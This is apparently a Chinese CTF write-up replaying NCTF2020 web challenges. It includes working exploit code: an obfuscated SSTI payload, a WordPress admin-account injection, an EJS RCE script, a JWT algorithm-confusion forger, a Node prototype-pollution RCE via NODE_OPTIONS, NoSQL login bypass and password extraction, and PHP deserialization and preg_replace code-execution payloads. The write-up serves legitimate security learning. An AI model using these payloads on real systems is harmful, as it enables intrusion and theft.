NCTF2020记录+复现

前言

Misc太少,Web太难,让我这个假web手怎么搞哟。。。

改(日期未知):开启漫长的复现之路💪

官方WriteUp

题目地址 出题小记

Web

你就是我的master吗

过滤了挺多的,直接十六进制一把梭

1
2
{{""["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[64]["\x5f\x5f\x69\x6e\x69\x74\x5f\x5f"]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f"]["\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f"]("\x6f\x73")["\x70\x6f\x70\x65\x6e"]("ls")["\x72\x65\x61\x64"]()}}
# {{""["__class__"]["__base__"]["__subclasses__"]()[64]["__init__"]["__globals__"]["__builtins__"]["__import__"]("os")["popen"]("ls")["read"]()}}

wordpress

认真看博客嗷! hint1:有没有什么信息泄露 hint2:pay attention to MySQL hint3:需要提权,但是又不需要提权

找到mysql -h 127.0.0.1 -P 8500 -u www-data,未授权访问,连接操作数据库。

参考如何通过MYSQL将管理员用户添加到WORDPRESS数据库WordPress: 通过数据库(phpMyAdmin)添加admin用户两篇文章,在wordpress数据库中注册用户:

1
2
3
INSERT INTO wp_users(`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES ('2', 'tyskill', MD5('tyskill'), 'tyskill', 'hello@qq.com', 'http://www.justcoding.iteye.com/', '2014-03-14 00:00:00', '', '0', 'tyskill');
INSERT INTO wp_usermeta(umeta_id,user_id,meta_key,meta_value) VALUES (NULL, '2', 'wp_capabilities', 'a:1:{s:13:"administrator";s:1:"1";}');
INSERT INTO wp_usermeta(umeta_id,user_id,meta_key,meta_value) VALUES (NULL, '2', 'wp_user_level', '10');

一血的师傅没有把他的木马删掉,所以我直接用了emmmm。。。做完本来想删掉的,但是权限不够,可惜了。

JS-world

JavaScript can quickly turn our everyday job into hell, and some of them can make us laugh out loud. Have fun. hint1: script.js has sth useful.

输入框随便输,弹窗提示/templates路由,访问得

Proudly presented by ejs

可知是ejs模板注入。提示了script.js有用,通过http://jsnice.org/去掉混淆,再加上调试器断点调试了解大概逻辑:

1、前端过滤关键字符,正则替换为空

1
_0x23132f[_0x1bef85('0x5')](/[\/\*\'\"\`\<\\\>\-\(\)\[\]\=\%\.]/g, '')

2、过滤完关键字符后再对生成的html代码作xor处理,去不去混淆代码都挺废人的,还是不放了

3、xor处理后的数据发送到/create路由,那么该路由下的代码逻辑应该就是解出xor数据然后ejs渲染。

预期解

思路应该就是看懂xor的逻辑,然后加密出数据和session一起发送到/create即可。

通过断点我们可以知道xor的两个参数分别是r5NmfIzU1uzl6Wp和html代码。

唉,加密逻辑实在看不懂,还是直接看师傅的源代码吧:

1
2
3
4
5
6
function xor(key, value) {
    var keyLen = key.length;
    return Array.prototype.slice.call(value).map(function(char, idx) {
        return String.fromCharCode(char.charCodeAt(0) ^ key[idx % keyLen].charCodeAt(0));
    }).join('');
}

然后使用python重构,生成payload发过去(太懒了,直接搬wp了)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
from base64 import b64encode as b64

url='题目地址'

PAYLOAD="<%- global.process.mainModule.require('child_process').execSync('cat /flag.txt') %>"

def xor(key,string):
    index = 0
    length =len(key)
    payload=''
    chars=list(map(str,string))
    for char in chars:
        payload = payload + chr(ord(char) ^ ord(key[ index % length]))
        index = index + 1
    return payload

exp = b64(xor('r5NmfIzU1uzl6Wp',PAYLOAD).encode()).decode()
s = requests.session()
s.get(url)
s.post(url+'/create',data={'code': exp})
r=s.get(url+'/templates')
print(r.text)

非预期(maybe)

不知道算不算非预期,通过Console我们可以覆盖js中的create()函数,删除前端过滤直接ejs渲染。

直接复制create()函数,删掉waf,放在控制台运行,然后传payload就行。

payload

1
<%= global.process.mainModule.require('child_process').execSync('cat /flag.txt') %>

PackageManager_v1.0

Admin uses this api server to manage his package . Definitely no way to RCE. Please make sure you can exploit it locally fisrt. all packages are up to date

JWT在线解密,获取公钥

-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDoDGpHkaoKLeJXHHnQUF1t+anX qir79Yj3vfDFTOp6qhl6GsnyucEdiCI1z3lidJ2pd1mjT7kw3isNV6GkZWo2i/UY OVlkIaWWDwtJMuJuSlE4t3zuYM0DYNTFEzS5jF/Rl3cNLSBtGleobm1qEKH/eAgK osXefntFyPYavn/uIQIDAQAB -----END PUBLIC KEY-----

但是在JWT解密时会使用HS256或者RS256,

1
2
3
async decode(token) {
    return (await jwt.verify(token, publicKey, { algorithms: ['RS256', 'HS256'] }));
}

在hackergame2020的普通的身份认证器中有该考点的题目(JWT - JSON Web Token也有记录),直接搬运介绍:

在非对称密码中,公钥确实是可以公开的。但是这就牵扯到了 JWT 格式的问题:它的签名算法除了支持 RSA 签名以外,还支持对称的 HMAC 签名(例如 HS256),并且修改 JWT 中的签名算法只需要修改 headeralg 字段,并且通过某些方法,仍然让程序认为整个 JWT 是完好而未被篡改的即可。

在使用 RS256 时,程序的流程是:

  • 使用私钥为 JWT 签名。
  • 使用公钥验证接收到的 JWT 的完整性。

而在使用 HS256 时,程序的流程是:

  • 使用密钥为 JWT 签名。
  • 同样,使用这个密钥验证 JWT 的完整性。显然,这个密钥不能被泄露出来。

那么如果我们知道公钥,那么我们就能这么做:

  • 接收到一个合法的,使用 RS256 签名算法的 JWT
  • 修改 JWT 的 payload 我们想要的样子,同时修改 header 的算法为 HS256。
  • 使用已知的公钥,以 HS256 算法重新签名我们修改后的公钥。
  • 发给服务器。此时,服务器使用公钥 + HS256 算法检查 JWT,发现没有问题,就会认为这是一个合法的 JWT

生成修改后的JWT,然后抓包修改,脚本:

1
2
3
4
5
6
7
8
import jwt # 0.4.3版本PyJWT
data = {
    "username": "admin",
    "pk": "-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDoDGpHkaoKLeJXHHnQUF1t+anX\nqir79Yj3vfDFTOp6qhl6GsnyucEdiCI1z3lidJ2pd1mjT7kw3isNV6GkZWo2i/UY\nOVlkIaWWDwtJMuJuSlE4t3zuYM0DYNTFEzS5jF/Rl3cNLSBtGleobm1qEKH/eAgK\nosXefntFyPYavn/uIQIDAQAB\n-----END PUBLIC KEY-----\n",
    "iat": 1605958395
}
token = jwt.encode(data, data['pk'], algorithm='HS256').decode(encoding='utf-8')
print(token)

本来接下来就应该是皆大欢喜的场面:

使用res.render渲染然后RCE,但是此处渲染引擎使用了nunjucksautoescape导致内容会被转义,直接渲染RCE失败(实际上还是太菜了)。

1
2
3
4
nunjucks.configure('views', {
    autoescape: true,
    express: app
});

不过利用点还是很明显的,就是rep.js的replicate函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
replicate(a, b){
    var attrs = Object.keys(b);
    attrs.forEach( (key) => {
        if (this.isObject(a[key]) && this.isObject(b[key])) {
            this.replicate(a[key], b[key]);
        } else {
            a[key] = b[key];
        }  
    });
    return a;
}

index.js调用

1
2
3
4
5
router.post('/api/package',AuthMiddlerware,(req,res)=>{
    let newpackage={};
    newpackage=rep.replicate(newpackage,req.body);
    return res.render('index.html',{ author : newpackage.author , description : newpackage.description }); 
});

      请求体传递数据通过replicate函数递归处理,获得键值赋给newpackage,然后通过render渲染回显。然后使用了nunjucks的autoescape属性断绝了污染模板RCE的机会,但是有师傅直接nunjucks模板注入了,不得不说大师傅的姿势又多又骚。

预期解

      通过子进程污染环境变量值实现RCE,参考文章--从Kibana-RCE对nodejs子进程创建的思考,说起来这篇文章我当时打比赛的时候还找到并且看过了,愣是没反应,冷漠的关掉页面继续自闭了😓

文章中一段话阐述了子进程和环境变量关系:

      当options不存在时将其命为空对象。接着到下面最关键的一步,即获取env变量的方式。首先对options.env是否存在做了判断,如果options.env为undefined则将环境变量process.env的值复制给env。而后对envParivs这个数组进行push操作,其实就是env变量对应的键值对。

1
2
3
4
5
6
var env = options.env || process.env;
var envPairs = [];

for (var key in env) {
envPairs.push(key + '=' + env[key]);
}

很明显,通过原型链我们可以轻易给创建的子进程空对象options添加属性,包括env,然后子进程的options由于已经拥有env属性,不会被父进程的env赋值,但是只有env有什么用呢?又不会自动命令执行,这就涉及到文章中关于node的另一个设置:

node版本>v8.0.0以后支持运行node时增加一个命令行参数NODE_OPTIONS,它能够包含一个js脚本,相当于include。

根据node运行时会把当前进程的env写进系统的环境变量,子进程也一样的特性,可以通过污染环境变量的NODE_OPTIONS属性实现RCE。

payload

1
{'auth':'tyskill','description':'tyskill','__proto__':{'env':{'tyskill':'console.log("123")//','NODE_OPTIONS':'--require /proc/self/environ'}}}

payload有了,接下来就是创建子进程了,index.js通过fork()函数创建子进程,也就是满足了文章中提到的在污染了原型的条件下,child_process只有进行了fork()的时候,才能达到漏洞的利用的条件。

接下来就是post访问/api/package污染环境变量,然后访问/debug/cwd实现RCE,

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
import jwt  # 0.4.3版本PyJWT
import requests as req
target = 'http://IP/api/package' # 目标地址
data = {
    "username": "admin",
    "pk": "-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDoDGpHkaoKLeJXHHnQUF1t+anX\nqir79Yj3vfDFTOp6qhl6GsnyucEdiCI1z3lidJ2pd1mjT7kw3isNV6GkZWo2i/UY\nOVlkIaWWDwtJMuJuSlE4t3zuYM0DYNTFEzS5jF/Rl3cNLSBtGleobm1qEKH/eAgK\nosXefntFyPYavn/uIQIDAQAB\n-----END PUBLIC KEY-----\n",
    "iat": 1607312432
}
token = jwt.encode(data, data['pk'], algorithm='HS256').decode(encoding='utf-8')
# print(token)
new = {
    'author': 'tyskill',
    'description': 'tyskill',
    '__proto__':{'env':{'tyskill':'console.log(require("child_process").execSync("cat /w0w_Congrats_Th1s_1s_y0ur_flaaag").toString())//','NODE_OPTIONS':'--require /proc/self/environ'}}
}
res = req.post(url=target, json=new, cookies={'auth':token}, headers={'Content-Type': 'application/json'})
# print(res.text)
target_2 = 'http://IP/debug/cwd'
res_2 = req.get(url=target_2, cookies={'auth': token})
print(res_2.text)

非预期解 | fail

非预期的师傅ChenKS

但是使用他的payload并没有打通,和我之前比赛时返回的内容一样,都是引号被实体化了

PackageManager_v2.0

Error fixed. Definitely no way to RCE Please make sure you can exploit it locally fisrt. all packages are up to date hint1: flag is in the mongodb server. You can access it using mongodb because of docker. Sorry for my misrepresentation. hint2: Maybe you should read the source code of child_process which is part of intended solution. hint3: mongodb url : 192.168.96.2

Mango

Just a website with some mango pictures...... hint1: mangodb or mongodb? hint2:app.use(express.json()) is dangerous for Node.js

看到注册,反手一套admin/admin,此时回显

MongoError: E11000 duplicate key error collection: mangousers.users index: username_1 dup key: { username: "admin" }

该报错意思是mongodb中key重复,也就是已经存在admin帐号,再加上响应头可判断后端使用nodejs+mongodb。

先试试注入,由于对nosql注入不是很了解,就直接上payload了。

参考NoSQL injection,抓包header修改Content-Type: application/json,请求部分修改为

1
{"username": {"$eq": "admin"}, "password": {"$ne": "admin" }}

成功登录admin,获得后半段flag:second part of flag is : _squeezy_2333}

同理,通过运算符**$regexp**我们可以正则匹配admin的密码B$ngo!_The_first_part_of_flag_is:NCTF{ezpz_mongo,得到前半段flagNCTF{ezpz_mongo

exp(官方wp)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import re
import string
url = 'http://ip/signin'
payload = "^"
flag = ""
for i in range(1, 100):
    a = 0
    print(i)
    for j in string.printable:
        test = re.escape(j) # 转义特殊字符$
        data = {"username": {"$eq": "admin"}, "password": {"$regex": payload + test}}
        r = requests.post(url, json=data, allow_redirects=False)
        if r.status_code == 302:
            payload += test
            flag += j
            print(flag)
            a = 1
            break
    if a == 0:
        break

bg_laravel

bg_laravel , the best MaBaoguo site :) hint1: check out the specific laravel version. hint2: sql-injection can get you one step closer to RCE. So is ORM safe enough to prevent sql-injection?

SimpleSimplePie

  1. git clone https://github.com/simplepie/simplepie
  2. modify index.php and rss.php
  3. have fun XD

ezphp | open

10.10.. 附件地址:https://leonsec.lanzous.com/ictICimu79g hint: Flag in Intranet

简单的反序列化

exp.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class Game{
    public $a;
}
class User{
    public $error;

}
class net_test{
    public $url;
    public function __construct($url){
        $this->url = $url;
    }
}
$o = new Game();
$o->a = new User();
$url = '';
$o->a->error = new net_test($url);
$o = serialize($o);;
$o = preg_replace('/"Game":1/','"Game":2',$o);
echo $o;

由于User的wakeup函数会匹配file|3306|base|fil|proc|env,所以通过修改属性个数绕过,通过file协议读取其他的php文件,其中connect.php有重大发现:

1
2
3
4
5
<?php
header("content-type:text/html;charset=utf-8");
$conn=mysqli_connect("127.0.0.1","root","");
mysqli_set_charset($conn,"utf8");
mysqli_select_db($conn,"minesweep");

root用户可以无密码登录mysql,我们就可以通过这个操作数据库,使用mysql_gopher_attack生成gopher的payload查询数据库,但是都快翻烂了也没找到flag。

然后题目就发了hint,flag在内网,反手读一下/etc/hosts(之前意识确实不够),读到了

10.10.10.1 2acc6891c3f1

bp爆c段,在10.10.10.32是可以访问的,

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<?php
highlight_file(__FILE__);
error_reporting(0);
$content = $_POST['x'];
if(preg_match('/(system)|(passthru)|(exec)|(shell_exec)|(proc_open)|(popen)/i', $content)) {
    die("<script>alert('Hacker!');window.location.href='index.php';</script>");
}
$content = preg_replace(
    '(([0-9])(.*?)\1)e',
    'strtoupper("\\2")',
    $content
);
?>

preg_replace/e命令执行,参考文章深入研究preg_replace与代码执行

这段匹配的意思是:

满足一位数字 字符 一位数字结构的字符串,此时strtoupper("\\2")函数会作用在(.*?)字符,即字符上,再加上/e参数时preg_replace的特性,会导致命令执行。

payload

1
x={1${phpinfo()}1}

然后emmm,构造出来的payload死活打不通,只能遗憾结尾。。。

参考

NCTF 2020 Official Writeup

NCTF2020复盘